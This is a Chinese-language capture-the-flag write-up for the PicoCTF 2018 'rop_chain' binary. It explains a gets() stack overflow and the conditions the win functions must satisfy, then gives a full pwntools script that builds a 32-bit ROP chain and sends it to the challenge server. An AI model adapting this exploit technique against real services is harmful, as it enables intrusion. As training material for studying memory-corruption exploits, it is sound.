1.主要看vuln函数,有gets(),可利用栈溢出,也有flag函数,但是有条件,如果打不开flag文件的话则stream返回空值,打开失败那么!stream为真,输出错误语句,而下面的fgets函数则给flag保存了一个副本,满足所框条件则同样可以输出flag。
fgets(arg1[存储读取数据的位置],arg2[读取的前多少位],arg3[被读取数据的位置])
2.对于ida中赋予变量的值,构造rop时需要传入转变为十六进制的数据,鼠标右键转化。
3.保证win1,win2都大于0且a1=0xDEADBAAD的情况下打印出flag,win1函数直接赋值给win1的值是1,win2中传递了参数a1,在这个函数中传给0xBAAAAAAD,则保证了win2是1。
4.上面的flag函数中也是只定义了一个参数a1为另一个值,在构造payload时就要注意分开,a1分别是两个函数的局部变量,要满足各自if的条件,win1中没有定义变量,就不用传递参数。(注意32程序payload的构造方法)
wp如下:
from pwn import*
io = remote('nodeX.buuoj.cn',XXXXX)
elf = ELF('./PicoCTF_2018_rop_chain')
#先整理好所需地址和参数值
flag_addr = 0x0804862B
win1_addr = elf.sym['win_function1']
win2_addr = elf.sym['win_function2']
win2_a1 = 0xBAAAAAAD
flag_a1 = 0xDEADBAAD
io.recvuntil("Enter your input> ")
#构造payload
payload = b'a'*(0x18 + 0x4) + p32(win1_addr)
payload += p32(win2_addr) + p32(flag_addr)
payload += p32(win2_a1) + p32(flag_a1)
io.sendline(payload)
io.interactive()